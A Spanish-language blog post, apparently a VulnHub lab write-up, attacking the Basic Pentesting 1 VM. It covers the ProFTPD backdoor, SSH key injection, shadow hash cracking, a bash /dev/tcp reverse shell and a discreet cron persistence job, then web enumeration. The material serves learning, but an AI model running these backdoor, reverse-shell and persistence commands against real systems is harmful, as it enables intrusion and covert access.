{"id":687,"date":"2025-09-01T22:46:08","date_gmt":"2025-09-01T21:46:08","guid":{"rendered":"https:\/\/jagumiel.xyz\/blog\/?p=687"},"modified":"2025-09-01T23:34:16","modified_gmt":"2025-09-01T22:34:16","slug":"pentesting-vulnhub-basic-pentesting-1-escalada-persistencia","status":"publish","type":"post","link":"https:\/\/jagumiel.xyz\/blog\/2025\/09\/01\/pentesting-vulnhub-basic-pentesting-1-escalada-persistencia\/","title":{"rendered":"Ciberseguridad: Atacando la m\u00e1quina Basic Pentesting 1"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Introducci\u00f3n<\/h2>\n\n\n\n<p>Esta es la primera entrada de lo que espero se convierta en un compendio pr\u00e1ctico sobre t\u00e9cnicas de pentesting y post-explotaci\u00f3n en entornos reales. Aunque ya tengo experiencia previa en el campo de la ciberseguridad \u2014con un enfoque actual en hardening de sistemas\u2014 considero necesario entender a fondo las t\u00e9cnicas ofensivas para poder construir defensas eficaces.<\/p>\n\n\n\n<p>Bajo esta filosof\u00eda, he comenzado un proceso autodidacta para aprender pentesting \u00e9tico desde un enfoque t\u00e9cnico y pr\u00e1ctico. Creo firmemente que para securizar correctamente un sistema, primero hay que conocer c\u00f3mo puede ser atacado. Por ello, esta entrada se centrar\u00e1 en analizar un entorno vulnerable, identificar vectores de entrada y realizar una escalada de privilegios hasta obtener acceso root, tal como lo har\u00eda un atacante real. Del mismo modo, se tratar\u00e1 de obtener persistencia en el equipo, tratando que no resulte demasiado obvio.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Entorno de pruebas<\/h2>\n\n\n\n<p>Se ha trabajado en un entorno de pruebas virtualizado. En mi caso, he usado VMWare, aunque cualquier otra alternativa de virtualizaci\u00f3n, como por ejemplo VirtualBox, ser\u00eda v\u00e1lida para replicar el escenario.<\/p>\n\n\n\n<p>Se han usado dos m\u00e1quinas virtuales dentro de una red NAT interna, lo que permite que ambas puedan comunicarse directamente entre s\u00ed, simulando un entorno controlado de red local:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>M\u00e1quina atacante:<\/strong> Kali Linux (192.168.40.137).<\/li>\n\n\n\n<li><strong>M\u00e1quina objetivo:<\/strong> Basic-pentesting-1 (192.168.40.138).<\/li>\n<\/ul>\n\n\n\n<p>La configuraci\u00f3n en modo NAT garantiza que ambas m\u00e1quinas compartan la misma red virtual, facilitando la comunicaci\u00f3n y el escaneo de servicios sin interferencias externas. Este tipo de laboratorio virtual es perfecto para practicar t\u00e9cnicas ofensivas con total seguridad.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Herramientas empleadas en el proceso de pentesting<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ping<\/li>\n\n\n\n<li>nmap<\/li>\n\n\n\n<li>metasploit<\/li>\n\n\n\n<li>NetCat (nc)<\/li>\n\n\n\n<li>OpenSSL<\/li>\n\n\n\n<li>John the Ripper<\/li>\n\n\n\n<li>GoBuster<\/li>\n\n\n\n<li>Nikto<\/li>\n\n\n\n<li>Wpscan<\/li>\n\n\n\n<li>Hydra<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Reconocimiento y enumeraci\u00f3n inicial<\/h2>\n\n\n\n<p>El primer paso en cualquier ejercicio de pentesting es confirmar la conectividad entre las m\u00e1quinas. De forma preliminar, lanc\u00e9 un ping manual desde Kali Linux hacia la m\u00e1quina objetivo para asegurarme de que ambas estaban en la misma red y pod\u00edan comunicarse. Aunque conoc\u00eda la IP de cada m\u00e1quina (obtenida desde la interfaz de login en la v\u00edctima y con ifconfig en Kali), lo m\u00e1s adecuado en un entorno real ser\u00eda realizar un proceso de enumeraci\u00f3n de red.<\/p>\n\n\n\n<p>En lugar de hacerlo manualmente, se puede automatizar con scripts que env\u00edan pings a rangos de IP, o utilizar herramientas m\u00e1s potentes como nmap para detectar hosts activos mediante escaneo ARP o ICMP.<\/p>\n\n\n\n<p>Conociendo la IP de la m\u00e1quina objetivo, he tratado de obtener m\u00e1s informaci\u00f3n. Con la herramienta nmap he hecho un escaneo para conocer los puertos que tiene esta m\u00e1quina abiertos, as\u00ed como los servicios que tiene en ejecuci\u00f3n y sus versiones. He hecho un an\u00e1lisis completo, lo cu\u00e1l incluye los puertos UDP, que muchas veces son olvidados, pero pueden revelar servicios cr\u00edticos.<\/p>\n\n\n\n<div id=\"attachment_698\" style=\"width: 690px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-698\" class=\"aligncenter size-full wp-image-698\" \n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap.png\" \n     alt=\"Captura de pentesting con Zenmap mostrando puertos abiertos 21, 22 y 80 en un escaneo Nmap detallado.\" \n     width=\"1024\" height=\"294\" srcset=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap.png 1167w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap-300x86.png 300w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap-1024x294.png 1024w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap-768x220.png 768w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/0-nmap-150x43.png 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/>\n<\/a><p id=\"caption-attachment-698\" class=\"wp-caption-text\">Imagen 1. Zenmap revela servicios ProFTPD, OpenSSH y Apache en la IP 192.168.40.138.<\/p><\/div>\n\n\n\n<p>Los resultados arrojan que hay tres servicios con los puertos abiertos (FTP, SSH y HTTP). Vamos a ir uno a uno, buscando vulnerabilidades que nos permitan entrar en la m\u00e1quina y escalar privilegios hasta root.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pentesting del servicio FTP: ProFTPD<\/h2>\n\n\n\n<p>Tras detectar que el servicio FTP estaba expuesto en el puerto 21, el siguiente paso fue identificar su versi\u00f3n y verificar si exist\u00edan vulnerabilidades conocidas. En este caso, el sistema utiliza ProFTPD versi\u00f3n 1.3.3c, una versi\u00f3n antigua que presenta varias fallas de seguridad.<\/p>\n\n\n\n<p>Examinando bases de datos, como las de INCIBE o NIST, encontramos vulnerabilidades. A trav\u00e9s de archive.org y su \u201cwayback machine\u201d podemos acceder a <a href=\"https:\/\/web.archive.org\/web\/20210119223410\/https:\/\/www.securityfocus.com\/bid\/44562\/info\" target=\"_blank\" rel=\"noopener\" title=\"P\u00e1gina archivada de securityfocus.\">securityfocus<\/a> que, en su d\u00eda, adem\u00e1s de la informaci\u00f3n, ofrec\u00eda los exploits para aprovecharse de la vulnerabilidad.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Primer intento: Exploit mod_copy (CVE-2015-3306)<\/h3>\n\n\n\n<p>Lo primero que prob\u00e9 fue la vulnerabilidad <strong>CVE\u20112015\u20113306<\/strong>, la cual est\u00e1 en la biblioteca de metasploit. Para aprovecharla, hace falta que el Daemon est\u00e9 compilado con mod_copy y que este m\u00f3dulo este habilitado.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 &gt; use exploit\/unix\/ftp\/proftpd_modcopy_exec \n&#091;*] No payload configured, defaulting to cmd\/unix\/reverse_netcat\nmsf6 exploit(unix\/ftp\/proftpd_modcopy_exec) &gt; set RHOSTS 192.168.40.138\nRHOSTS =&gt; 192.168.40.138\nmsf6 exploit(unix\/ftp\/proftpd_modcopy_exec) &gt; set RPORT 21\nRPORT =&gt; 21\nmsf6 exploit(unix\/ftp\/proftpd_modcopy_exec) &gt; run\n&#091;*] Started reverse TCP handler on 192.168.40.137:4444 \n&#091;*] 192.168.40.138:21 - 192.168.40.138:21 - Connected to FTP server\n&#091;*] 192.168.40.138:21 - 192.168.40.138:21 - Sending copy commands to FTP server\n&#091;-] 192.168.40.138:21 - Exploit aborted due to failure: unknown: 192.168.40.138:21 - Failure copying from \/proc\/self\/cmdline\n&#091;*] Exploit completed, but no session was created.<\/code><\/pre>\n\n\n\n<p>El exploit falla debido a que esta compilaci\u00f3n no trae mod_copy, o si lo trae, no est\u00e1 habilitado.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Segundo intento: Backdoor \u00abACIDBITCHEZ\u00bb<\/h3>\n\n\n\n<p>Vamos a probar ahora la siguiente vulnerabilidad. En 2010 se atac\u00f3 esta versi\u00f3n de ProFTPD, suplantando el binario de su p\u00e1gina web con otro distinto. Esta versi\u00f3n suplantada inclu\u00eda la siguiente l\u00ednea de c\u00f3digo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (strcmp(target, \"ACIDBITCHEZ\") == 0) {\nsetuid(0);\nsetgid(0);\nsystem(\"\/bin\/sh;\/sbin\/sh\");\n}<\/code><\/pre>\n\n\n\n<p>Esto permite obtener una shell como root simplemente autentic\u00e1ndose con la cadena especial. Us\u00e9 el m\u00f3dulo proftpd_133c_backdoor de Metasploit para aprovechar esta puerta trasera:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 exploit(unix\/ftp\/proftpd_modcopy_exec) &gt; use exploit\/unix\/ftp\/proftpd_133c_backdoor\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; set RHOSTS 192.168.40.138\nRHOSTS =&gt; 192.168.40.138\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; set RPORT 21\nRPORT =&gt; 21\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; set PAYLOAD cmd\/unix\/reverse_\nset PAYLOAD cmd\/unix\/reverse_bash_telnet_ssl\nset PAYLOAD cmd\/unix\/reverse_perl\nset PAYLOAD cmd\/unix\/reverse_perl_ssl\nset PAYLOAD cmd\/unix\/reverse_ssl_double_telnet\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; set PAYLOAD cmd\/unix\/reverse\nset PAYLOAD cmd\/unix\/reverse\nset PAYLOAD cmd\/unix\/reverse_bash_telnet_ssl\nset PAYLOAD cmd\/unix\/reverse_perl\nset PAYLOAD cmd\/unix\/reverse_perl_ssl\nset PAYLOAD cmd\/unix\/reverse_ssl_double_telnet\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; set PAYLOAD cmd\/unix\/reverse\nPAYLOAD =&gt; cmd\/unix\/reverse\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; set LHOST 192.168.40.137\nLHOST =&gt; 192.168.40.137\nmsf6 exploit(unix\/ftp\/proftpd_133c_backdoor) &gt; run\n&#091;*] Started reverse TCP double handler on 192.168.40.137:4444 \n&#091;*] 192.168.40.138:21 - Sending Backdoor Command\n&#091;*] Accepted the first client connection...\n&#091;*] Accepted the second client connection...\n&#091;*] Command: echo Fmfm9tBLdbvaYnqy;\n&#091;*] Writing to socket A\n&#091;*] Writing to socket B\n&#091;*] Reading from sockets...\n&#091;*] Reading from socket B\n&#091;*] B: \"Fmfm9tBLdbvaYnqy\\r\\n\"\n&#091;*] Matching...\n&#091;*] A is input...\n&#091;*] Command shell session 1 opened (192.168.40.137:4444 -&gt; 192.168.40.138:44946) at 2025-07-17 17:35:28 -0400\nwhoami\nroot<\/code><\/pre>\n\n\n\n<p>Como se observa, se ha conseguido escalar privilegios a root.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Alternativa: Explotando la backdoor con NetCat<\/h4>\n\n\n\n<p>Este mismo proceso se puede hacer con NetCat (nc), y es bastante m\u00e1s sencillo que con Metasploit:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~]\n\u2514\u2500$ nc 192.168.40.138 21                                                     \n220 ProFTPD 1.3.3c Server (vtcsec) &#091;192.168.40.138]\nHELP ACIDBITCHEZ\nwhoami \nroot<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Persistencia en sistemas comprometidos<\/h2>\n\n\n\n<p>Una vez obtenido el acceso a la m\u00e1quina, una buena pr\u00e1ctica es asegurar alg\u00fan tipo de persistencia, es decir, dejar una puerta trasera que permita volver a entrar en el sistema sin necesidad de repetir toda la explotaci\u00f3n inicial.<\/p>\n\n\n\n<p>Aunque en este caso se trata de un escenario de pruebas, si el sistema se actualizara en el futuro es muy probable que las vulnerabilidades explotadas dejen de ser efectivas. Por eso, tom\u00e9 la precauci\u00f3n de establecer un m\u00e9todo de acceso persistente v\u00eda SSH con clave privada.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Alternativa 1: Acceso con clave privada<\/h3>\n\n\n\n<p>En lugar de crear un nuevo usuario \u2014acci\u00f3n que en un entorno real podr\u00eda levantar sospechas\u2014 opt\u00e9 por una alternativa m\u00e1s discreta: inyectar una clave p\u00fablica en un usuario ya existente (marlinspike), habilitando el acceso remoto por SSH sin contrase\u00f1a.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Generaci\u00f3n de la pareja de claves e inyecci\u00f3n<\/h4>\n\n\n\n<p>Mi idea es acceder a la m\u00e1quina con una clave privada. Por eso, he creado una pareja de claves RSA en mi m\u00e1quina Kali:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh-keygen -t rsa -b 4096 -f ~\/.ssh\/basicp1_rsa -C \"basic-pentesting-lab\"<\/code><\/pre>\n\n\n\n<p>He inyectado la clave p\u00fablica en el directorio \u201c\/home\/marlinspike\/.ssh\/authorized_keys\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"ssh-rsa AAAAB3NzaC1yc \u2026 \/RbB5\/7vydaTQ2Q== basic-pentesting-lab\" &gt;&gt; \/home\/marlinspike\/.ssh\/authorized_keys<\/code><\/pre>\n\n\n\n<p>He dado los siguientes permisos:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chmod 700 \/home\/marlinspike\/.ssh\nchmod 600 \/home\/marlinspike\/.ssh\/authorized_keys\nchown -R marlinspike:marlinspike \/home\/marlinspike\/.ssh<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Configuraci\u00f3n del servicio SSH<\/h4>\n\n\n\n<p>He modificado el fichero de configuraci\u00f3n \/etc\/ssh\/sshd_config para asegurar que permita la autenticaci\u00f3n por SSH sin contrase\u00f1a y por clave p\u00fablica.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>grep -E 'PermitRootLogin|PasswordAuthentication|PubkeyAuthentication|UsePAM' \/etc\/ssh\/sshd_config\nPermitRootLogin prohibit-password\nPubkeyAuthentication yes\n#PasswordAuthentication yes\nUsePAM yes<\/code><\/pre>\n\n\n\n<p>Esto indica que el login por clave p\u00fablica est\u00e1 habilitado, pero el acceso directo como root est\u00e1 restringido por contrase\u00f1a, lo cual no afecta nuestro m\u00e9todo. Da igual, ya que el usuario est\u00e1 en la lista de sudoers.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Verificaci\u00f3n del acceso persistente<\/h4>\n\n\n\n<p>Desde Kali, valid\u00e9 que pod\u00eda acceder a la m\u00e1quina comprometida usando mi clave privada:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/.ssh]\n\u2514\u2500$ ssh -i ~\/.ssh\/basicp1_rsa marlinspike@192.168.40.138\nWelcome to Ubuntu 16.04.3 LTS (GNU\/Linux 4.10.0-28-generic x86_64)<\/code><\/pre>\n\n\n\n<p>Con esto, ya tengo un acceso estable y discreto que me permitir\u00e1 entrar en cualquier momento sin necesidad de repetir el vector inicial.<\/p>\n\n\n\n<p>Este m\u00e9todo de persistencia es muy com\u00fan en escenarios reales y, aunque puede dejar huella (por ejemplo, en logs o en la fecha de modificaci\u00f3n del archivo authorized_keys), es mucho menos visible que otros mecanismos como creaci\u00f3n de nuevos usuarios o servicios maliciosos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Alternativa 2: Descifrando la contrase\u00f1a del usuario<\/h3>\n\n\n\n<p>Adem\u00e1s de garantizar un acceso persistente por SSH, otra estrategia \u00fatil es obtener las credenciales reales del sistema. Esto permite acceder de forma a\u00fan m\u00e1s discreta, sin dejar rastro evidente (como archivos authorized_keys o modificaciones en sshd_config).<\/p>\n\n\n\n<p>Como contaba con privilegios de root, tambi\u00e9n tuve acceso de lectura a los ficheros \/etc\/passwd y \/etc\/shadow.<\/p>\n\n\n\n<p>Estos archivos contienen informaci\u00f3n cr\u00edtica sobre los usuarios y sus contrase\u00f1as encriptadas. Si estas contrase\u00f1as son d\u00e9biles o comunes, pueden romperse f\u00e1cilmente con herramientas como John the Ripper o Hashcat mediante ataques de diccionario o fuerza bruta. \u00a1Vamos a intentarlo!<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">An\u00e1lisis del hash extraido<\/h4>\n\n\n\n<p>En el fichero passwd encontramos la siguiente l\u00ednea:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>marlinspike:$6$wQb5nV3T$xB2WO\/jOkbn4t1RUILrckw69LR\/0EMtUbFFCYpM3MUHVmtyYW9.ov\/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4\/:17484:0:99999:7:::<\/code><\/pre>\n\n\n\n<p>El formato nos interesa conocer es el siguiente: $id$salt$hashedpassword. Sabemos que hay un usuario llamado marlinspike, por el ID 6 descubrimos que la contrase\u00f1a est\u00e1 cifrada a trav\u00e9s de SHA512-crypt, y que tiene una salt (wQb5nV3T), esto quiere decir que se le a\u00f1ade un valor aleatorio \u00fanico a la palabra (en este caso contrase\u00f1a) a cifrar.<\/p>\n\n\n\n<p>La sal aumenta la entrop\u00eda o aleatoriedad, haci\u00e9ndolo m\u00e1s robusto ante tablas arco\u00edris o ataques de fuerza bruta por b\u00fasqueda de hash. Finalmente, despu\u00e9s de la sal aparece el resumen de la contrase\u00f1a cifrada con esa sal. Si la contrase\u00f1a es sencilla y vulnerable a ataques de diccionario, la sal no va a hacer milagros.<\/p>\n\n\n\n<p>Cabe decir que SHA512-crypt est\u00e1 dise\u00f1ado para ser computacionalmente costoso, de forma que dificulte ataques de fuerza bruta o diccionario. A\u00fan as\u00ed, si la contrase\u00f1a es d\u00e9bil, puede romperse con herramientas como John the Ripper.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Ataque con John the Ripper<\/h4>\n\n\n\n<p>He copiado en mi m\u00e1quina Kali los dos ficheros mencionados, passwd y shadow. Para intentar descifrar la contrase\u00f1a, combin\u00e9 ambos archivos con unshadow, y ejecut\u00e9 el ataque (limpiando primero cualquier salida de alguna ejecuci\u00f3n anterior):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ unshadow passwd shadow &gt; p.txt\n\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ rm ~\/.john\/john.pot                                                      \n\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ john p.txt                                                      \nUsing default input encoding: UTF-8\nLoaded 1 password hash (sha512crypt, crypt(3) $6$ &#091;SHA512 256\/256 AVX2 4x])\nCost 1 (iteration count) is 5000 for all loaded hashes\nWill run 8 OpenMP threads\nProceeding with single, rules:Single\nPress 'q' or Ctrl-C to abort, almost any other key for status\nWarning: Only 13 candidates buffered for the current salt, minimum 32 needed for performance.\nmarlinspike      (marlinspike)     \n1g 0:00:00:00 DONE 1\/3 (2025-07-24 13:35) 100.0g\/s 1300p\/s 1300c\/s 1300C\/s marlinspike..MarlinspikeMarlinspike\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n\n\n\n<p>El proceso fue casi inmediato. La contrase\u00f1a del usuario se correspond\u00eda con su nombre, es decir \u201cmarlinspike\u201d. Era un escenario muy sencillo y se ha logrado encontrar la contrase\u00f1a con John the Ripper. Esto demuestra la importancia de utilizar contrase\u00f1as seguras, ya que ahora tenemos acceso a la m\u00e1quina a trav\u00e9s de este usuario, y adem\u00e1s est\u00e1 en la lista de sudoers.<\/p>\n\n\n\n<p>Con esto hemos logrado ya el objetivo principal, que es escalar privilegios en una m\u00e1quina. No obstante, vamos a seguir investigando qu\u00e9 otras cosas podemos hacer.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Alternativa 3: Persistencia con cronjob y reverse shell en Bash<\/h3>\n\n\n\n<p>Adem\u00e1s de dejar una clave SSH o descifrar la contrase\u00f1a del usuario, existe una t\u00e9cnica a\u00fan m\u00e1s discreta para mantener el acceso: crear una reverse shell persistente mediante un cronjob que se ejecuta de forma peri\u00f3dica.<\/p>\n\n\n\n<p>Esta t\u00e9cnica aprovecha una funcionalidad poco conocida de Bash: la posibilidad de abrir sockets directamente desde el int\u00e9rprete de comandos, gracias a que en Unix todo es un archivo, incluidos los sockets TCP.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Reverse shell en Bash usando \/dev\/tcp<\/h4>\n\n\n\n<p>Bash permite enviar y recibir datos a trav\u00e9s de sockets TCP utilizando rutas especiales como \/dev\/tcp\/IP\/PUERTO. Esto hace posible lanzar una reverse shell sin herramientas externas:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>bash -i &gt;&amp; \/dev\/tcp\/192.168.40.137\/4444 0&gt;&amp;1<\/code><\/pre>\n\n\n\n<p>Esto conecta la shell interactiva directamente al atacante, redirigiendo la entrada\/salida est\u00e1ndar al socket TCP. Es una t\u00e9cnica ligera y funcional incluso en entornos muy restringidos.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Automatizaci\u00f3n con cron<\/h4>\n\n\n\n<p>Para mantener el acceso activo incluso tras un reinicio del sistema o p\u00e9rdida de conexi\u00f3n, podemos automatizar esta reverse shell con un cronjob:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"* * * * * bash -i &gt;&amp; \/dev\/tcp\/192.168.40.137\/4444 0&gt;&amp;1\" &gt;&gt; \/tmp\/persist\ncrontab \/tmp\/persist<\/code><\/pre>\n\n\n\n<p>Esto genera una tarea programada que se ejecuta cada minuto, estableciendo una nueva reverse shell con el atacante. Desde la perspectiva del sistema, es simplemente un proceso de Bash ejecutando un script, lo cual puede pasar desapercibido si no se monitoriza la salida de crontab -l.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">An\u00e1lisis del servidor web Apache<\/h2>\n\n\n\n<p>Durante la fase de enumeraci\u00f3n de servicios, detect\u00e9 que el servidor Apache estaba activo en el puerto 80. Esto abr\u00eda la posibilidad de encontrar un nuevo vector de entrada, especialmente si el contenido expuesto o la configuraci\u00f3n del servidor presentaban vulnerabilidades.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Enumeraci\u00f3n web<\/h3>\n\n\n\n<p>Al acceder inicialmente v\u00eda navegador a http:\/\/192.168.40.138, aparece la cl\u00e1sica p\u00e1gina de \u00abIt Works!\u00bb de Apache. Esto indica que el servidor est\u00e1 activo, pero no revela informaci\u00f3n \u00fatil\u2026 al menos a simple vista.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">An\u00e1lisis con Gobuster<\/h4>\n\n\n\n<p>Para descubrir rutas ocultas, utilic\u00e9 Gobuster, una herramienta de enumeraci\u00f3n de directorios y archivos basada en diccionario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.40.138 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n&#091;+] Url:                     http:\/\/192.168.40.138\n&#091;+] Method:                  GET\n&#091;+] Threads:                 10\n&#091;+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n&#091;+] Negative Status codes:   404\n&#091;+] User Agent:              gobuster\/3.6\n&#091;+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/secret               (Status: 301) &#091;Size: 317] &#091;--&gt; http:\/\/192.168.40.138\/secret\/]                                                                       \n\/server-status        (Status: 403) &#091;Size: 279]\nProgress: 220560 \/ 220561 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\n\n\n<p>La herramienta gobuster enumera los archivos ocultos junto con los directorios remotos. Gobuster es un esc\u00e1ner agresivo, es ruidoso y se hace notar. En este escenario nos vale, y nos ha permitido descubrir el directorio \u201csecret\u201d. Esto es interesante, ya que redirige a una p\u00e1gina no listada en la ra\u00edz.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">An\u00e1lisis con Nikto<\/h4>\n\n\n\n<p>Otra herramienta es Nikto, un esc\u00e1ner de servidor web de c\u00f3digo abierto (GPL) y de uso gratuito que realiza un escaneo de vulnerabilidades en servidores web. Busca m\u00faltiples elementos, incluyendo archivos y programas peligrosos, as\u00ed como versiones desactualizadas del software del servidor web. Tambi\u00e9n comprueba si hay errores de configuraci\u00f3n del servidor y las posibles vulnerabilidades que puedan haber introducido.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(osboxes\u327fosboxes)-&#091;~\/Desktop\/marlinspike]\n\u2514\u2500$ nikto -h http:\/\/192.168.40.138                                           \n- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          192.168.40.138\n+ Target Hostname:    192.168.40.138\n+ Target Port:        80\n+ Start Time:         2025-07-25 23:09:37 (GMT2)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.18 (Ubuntu)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. \n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/: Server may leak inodes via ETags, header found with file \/, inode: b1, size: 55e1c7758dcdb, mtime: gzip. See: http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2003-1418\n+ Apache\/2.4.18 appears to be outdated (current is at least Apache\/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.\n+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .\n+ \/secret\/: Drupal Link header found with value: &lt;http:\/\/vtcsec\/secret\/index.php\/wp-json\/&gt;; rel=\"https:\/\/api.w.org\/\". See: https:\/\/www.drupal.org\/\n+ \/secret\/: This might be interesting.\n+ \/icons\/README: Apache default file found. See: https:\/\/www.vntweb.co.uk\/apache-restricting-access-to-iconsreadme\/\n+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host\n+ End Time:           2025-07-25 23:09:54 (GMT2) (17 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n\n\n\n<p>En resumen, esta salida nos est\u00e1 diciendo que el servidor usa Apache\/2.4.18 (Ubuntu), una versi\u00f3n antigua con riesgos de seguridad conocidos. Falta de cabeceras de protecci\u00f3n como X-Frame-Options y X-Content-Type-Options, lo que facilita ataques como clickjacking. El servidor tiene el m\u00e9todo HTTP OPTIONS habilitado, exponiendo informaci\u00f3n innecesaria. Adem\u00e1s, el archivo \/icons\/README es accesible, revelando detalles de la configuraci\u00f3n.<\/p>\n\n\n\n<p>Adem\u00e1s, esta herramienta tambi\u00e9n encontr\u00f3 el directorio oculto (\/secret\/) con una cabecera HTTP vinculada a sistemas como WordPress o Drupal, sugiriendo una posible instalaci\u00f3n de WordPress, la cual investigaremos en el siguiente apartado. Hay que decir tambi\u00e9n que Nikto nos est\u00e1 dando pistas, indicando que miremos algunas de las CVE que ha encontrado durante su an\u00e1lisis.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Analizando WordPress<\/h2>\n\n\n\n<p>Ya hemos visto que en apache est\u00e1 accesible una ruta que es la IP de la m\u00e1quina y el directorio secret. Alcanzando esa ruta, se llega a una p\u00e1gina creada con WordPress:<\/p>\n\n\n\n<div id=\"attachment_699\" style=\"width: 690px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/1-wordpress.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-699\" class=\"aligncenter size-full wp-image-699\" \n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2025\/08\/1-wordpress.png\" \n     alt=\"P\u00e1gina de inicio de WordPress accesible en la URL 192.168.40.138\/secret\" \n     width=\"569\" height=\"234\" \/>\n<\/a><p id=\"caption-attachment-699\" class=\"wp-caption-text\">Imagen 2. Interfaz por defecto de WordPress identificada como punto de entrada potencial.<\/p><\/div>\n\n\n\n<p>Detect\u00e9 que las URLs internas del sitio estaban asociadas al dominio vtcsec. Aunque segu\u00eda siendo accesible mediante la IP, para mayor comodidad a\u00f1ad\u00ed una entrada en el archivo \/etc\/hosts.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"192.168.40.138 vtcsec\" | sudo tee -a \/etc\/hosts<\/code><\/pre>\n\n\n\n<p>Esto permite trabajar con nombres de dominio en lugar de IPs.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Enumeraci\u00f3n en WordPress<\/h3>\n\n\n\n<p>Si entramos en la entrada del blog, podemos ver qu\u00e9 usuario la ha publicado, admin.<\/p>\n\n\n\n<div id=\"attachment_700\" 